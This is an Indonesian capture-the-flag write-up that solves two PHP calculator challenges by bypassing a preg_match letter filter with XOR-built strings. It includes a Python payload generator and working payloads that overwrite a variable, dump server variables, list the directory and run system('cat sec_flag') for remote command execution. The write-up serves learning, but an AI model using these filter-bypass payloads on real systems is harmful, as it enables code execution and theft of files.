Writeup CTFR Kalkulasi PHP 1 Dan 2

Khairu Aqsara Sudirman

Khairu Aqsara Sudirman

Apr 10, 2021 — 5 mins read

Diberikan sebuah service pada alamat 103.157.96.13 pada port 7791 yang dibangun menggunakan php dengan fungsi melakukan perhitungan aritmatika dasar seperti tambah, kurang, bagi, perkalian dan lain-lain, sesuai petunjuk yang diberikan, kita diharuskan mengganti value variable $admin agar menjadi CTFR, pada tahap ini kita bisa menginputkan nilai-nilai aritmatika seperti 5+3 hasilnya akan 8, (4+4)*2=16 dan lainya, jika diberikan input berupa huruf akan mendapatkan respon berupa Tidak diizinkan huruf!, tetapi mengijinkan inputan berupa ()[^?], artinya kita harus merubah value dari variable $admin menjadi CTFR dengan memanfaatkan simbol-simbol aritmatika yang di-izinkan. beberapa contoh inputan yang dicoba

[#] Input: (4+4)*2
[+] Hasil : 16

[#] Input: [^2
[!] Kesalahan pada Operator!

[#] Input: ([^1)
[!] Kesalahan pada Operator!

[#] Input: ('@#&'^'!')
[+] Hasil : a

dari hasil percobaan input didapatkan jika inputan berupa ('@#&'^'!') dimana string '@#&' di-XOR dengan string '!' menghasilkan respon berupa huruf a, dari sini bisa disimpulkan jika filter pada service menggunakan preg_match, fungsi preg_match pada php akan memfilter semua karakter yang tidak di-izinkan menggunakan regular expression, karena pada kasus ini servicenya merupakan proses aritmatika kita harus membentuk sebuah proses aritmatika menggunakan operasi XOR agar bisa merubah value dari variable $admin.

Awalnya saya menggunakan sebuah tools online dengan nama phpfuck https://splitline.github.io/PHPFuck/ dengan model inputan $admin='CTFR' yang dikonversi kedalam bentuk seperti inputan sebelumnya.

${(([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]]).[][[]]^([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[]).[][[]]^([].[])[([]^[])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[]).[][[]]^([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])])}=(([]^[[]]).[][[]]^([].[])[([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])]).(([].[])[([]^[])]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])])

Hasilnya sesuai harapan saya, Flagnya muncul pada outpout

[#] Input: ${(([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]]).[][[]]^([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[]).[][[]]^([].[])[([]^[])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[]).[][[]]^([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])])}=(([]^[[]]).[][[]]^([].[])[([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])]).(([].[])[([]^[])]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])])
[+] Hasil : CTFR
[+] Here is your flag : CTFR{15_th4t_345y_byp455_pr39_u51n9_x0r_4lg0r1thm}

tetapi bentuk inputnya terlalu panjang, akhirnya saya memutuskan untuk membuat script sederhana untuk mempersingkat inputan yang terlalu panjang.

import string
def xor(str1, str2):
  result = []
  for i, j in zip(str1, str2):
    result.append(chr(ord(i) ^ ord(j)))
  return ''.join(result)

def get_xored_strings(expected, valids):
  string1 = ""
  string2 = ""
  for i in expected:
    for valid in valids:
      result = chr(ord(i) ^ ord(valid))
      if result in valids:
        string1 = string1 + result
        string2 = string2 + valid
        break
  return string1, string2

valids = [ ]
for item in string.printable:
  if item not in string.ascii_letters:
    valids.append(item)
valids = valids[:len(valids)-3]

expected = "CTFR"
string1, string2 = get_xored_strings(expected, valids)
print("('{}'^'{}')".format(string1, string2))

program tersebut cukup sederhana, bila variable expected diberikan nilai CTFR program akan mencari printable string dan memisahkan menjadi 2 string, kemudian string-tersebut akan di XOR hingga mendapatkan hasil yang sama dengan expected, jadi jika hasil program tersebut dimasukan pada inputan service akan di eksekusi sebagai proses aritmatika yang valid, misalnya seperti 

python2 phpfuck.py
('{`~`'^'8482')

[#] Input: ('{`~`'^'8482')
[+] Hasil : CTFR

hasilnya sesuai dengan yang diharapkan, inputan ('{`~`'^'8482') akan menghasilkan string CTFR, langkah selanjutkan merubah sebuah string menjadi variable $admin dan memberikanya nilai CTFR, untuk itu nilai expected = "admin", dan jika teman-teman sudah terbiasa dengan php tentunya sudah paham cara meng-assign sebuah string agar dianggap sebagai sebuah variable oleh php, misalnya

<?php 
$admin = 'ini adminya';
$rubah_admin = ${'admin'};  // ini adminya
$rubah_admin = $admin; // ini adminya

nilai $rubah_admin = ${'admin'} sama saja dengan $rubah_admin = $admin, jadi jika ingin mengganti nilai dari variable $admin melalui service yang diberikan kita harus menginputkan hasil perhitugan XOR menjadi kira-kira seperti ${'admin'}='CTFR' dimana string admin dan string CTFR merupakan hasil operasi XOR, jika program python diatas dirubah sedikit untuk mendapatkan hasil yang pas

string_pertama = "admin"
string_kedua = "CTFR"
string1, string2 = get_xored_strings(string_pertama, valids)
string3, string4 = get_xored_strings(string_kedua, valids)
print("('{}'^'{}')=''.('{}')^('{}')".format(string1, string2, string3, string4))

sehingga jika dijalankan akan menghasilka sebuah string berupa ('@\][^'^'!8020')=''.('{`~`')^('8482'), dimana ('@\][^'^'!8020') = admin dan ('{`~`')^('8482') = CTFR, karena string pertama merupakan sebuah variable jadi kita harus merubahnya menjadi ${('@\][^'^'!8020')} yang sama dengan ${'admin'}, dan inputan akhir yang harus diberikan pada service tersebut adalah

[#] Input: ${('@\][^'^'!8020')}=''.('{`~`')^('8482')
[+] Hasil : CTFR
[+] Here is your flag : CTFR{15_th4t_345y_byp455_pr39_u51n9_x0r_4lg0r1thm}

pada challenge selanjutnya yaitu Kalkulasi PHP #2 service yang digunakan juga pada alamat yang sama, hanya saja kita harus mencari variabel / object / file / yang mengandung flag pada directory pada servcice tersebut, atau bisa dikatakan kita harus melakukan Remote Command Executionpada service tersebut dengan cara yang sama seperti halnya challenge Kalkulasi PHP #1, sesuai petunjuknya petama kita scan dulu dirnya, disini saya menggunakan perintah php print_r($_SERVER) yang sudah saya konversi menggunkan script sebelumnya ("+^]])?^"^"[,43]`,")(${("<129{}("^"{}}{:1{")}) untuk memastikan, ketika inputan diberikan hasilnya

[#] Input: ("+^]])?^"^"[,43]`,")(${("<129{}("^"{}}{:1{")})
Array
(
    [_SERVER] => Array
        (
            [HOSTNAME] => 1f80aa2be2b6
            [HOME] => /home/ctf
            [PATH] => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
            [DEBIAN_FRONTEND] => noninteractive
            [PWD] => /home/ctf
            [PROTO] => TCP
            [TCPLOCALIP] => 172.17.0.10
            [TCPLOCALPORT] => 7791
            [TCPLOCALHOST] => 0
            [TCPREMOTEIP] => 36.72.215.1
            [TCPREMOTEPORT] => 24333
            [PHP_SELF] => /home/ctf/chal23.php
            [SCRIPT_NAME] => /home/ctf/chal23.php
            [SCRIPT_FILENAME] => /home/ctf/chal23.php
            [PATH_TRANSLATED] => /home/ctf/chal23.php
            [DOCUMENT_ROOT] => 
            [REQUEST_TIME_FLOAT] => 1617986882.1147
            [REQUEST_TIME] => 1617986882
            [argv] => Array
                (
                    [0] => /home/ctf/chal23.php
                )


            [argc] => 1
        )
    [admin] => 
    [input] => ("+^]])?^"^"[,43]`,")(${("<129{}("^"{}}{:1{")})
    [flag] => CTFR{15_th4t_345y_byp455_pr39_u51n9_x0r_4lg0r1thm}
    [GLOBALS] => Array
 *RECURSION*
)
[+] Hasil : 1

hasil tersebut memastikan jika peritah php di eksekusi dengan sempurna oleh service, selanjutnya melakukan scaning pada direktori tersebut menggunakan perintah print_r(scandir('.')); dan hasilnya 

[#] Input: ("+^]])?^"^"[,43]`,")(("38![]2@"^"@[@59[2")("."))
Array
(
    [0] => .
    [1] => ..
    [2] => .bash_logout
    [3] => .bashrc
    [4] => .profile
    [5] => chal23.php
    [6] => flag.php
    [7] => sec_flag
)
[+] Hasil : 1

dari hasilnya bisa dipastikan jika flag pada challenge Kalulasi PHP #2 ada pada sec_flag, kita cukup membaca isi file tersebut, disini saya menggunakan perintah print_r(system('cat sec_flag')) yang jika dikonversi menjadi ("+^]])?^"^"[,43]`,")(("@@@480"^"393@]]")(("[]4"^"8<@")." ".("38@!@[@<"^"@]#~&7!["))), dan ketika inputan diberikan pada service hasilnya

Input: ("+^]])?^"^"[,43]`,")(("@@@480"^"393@]]")(("[]4"^"8<@")." ".("38@!@[@<"^"@]#~&7![")))
CTFR{n0w_y0u_l34rn_h0w_t0_byp455_pr39_m4tch}
[+] Hasil : 1 

disini teman-teman bisa menggunakan peritah php lain, disini saya menggabung-gabungkan hasil konversi setiap string dan menyusunya menjadi perintah php yang valid, misalnya string print_r menjadi ("+^]])?^"^"[,43]`,"), dan kemudian string system menjadi ("@@@480"^"393@]]") karena dalam php penulisan perintah validnya print_r(system('..')) jadi harus menambahkan tanda kurung manual misalnya seperti ("+^]])?^"^"[,43]`,")(("@@@480"^"393@]]"))

programming php writeup ctf Web Exploitation Reverse
Read More

Writeup CTFR Sekolah CTFR 1 Dan 2

Diberikan sebuah service pada alamat 103.157.96.13 pada port 7773 untuk Challenge Sekolah CTFR #1 dan Sebuah service pada port 7774, untuk Challenge Sekolah CTFR #2. pada kedua service tersebut dapat menginputkan atau melakukan registrasi sebagai siswa baru, seperti menginputkan nama dan id dari siswa, tetapi juga terdapat satu menu yang hanya bisa diakses oleh data yang memiliki akses admin, perbedaan dari Challenge ini yaitu pada Challenge Sekolah CTFR #2 merupakan perbaikan dari Sekolah CTFR #1.

Read More

Writeup CTFR Help Me to Decode

Ada sebuah code berbahasa Python dan disana memiliki teks yang sangat rahasia, akan tetapi kami tidak dapat membaca teks tersebut. Apakah kalian bisa bantu kami untuk mengdecode hasil enkripsi tersebut ?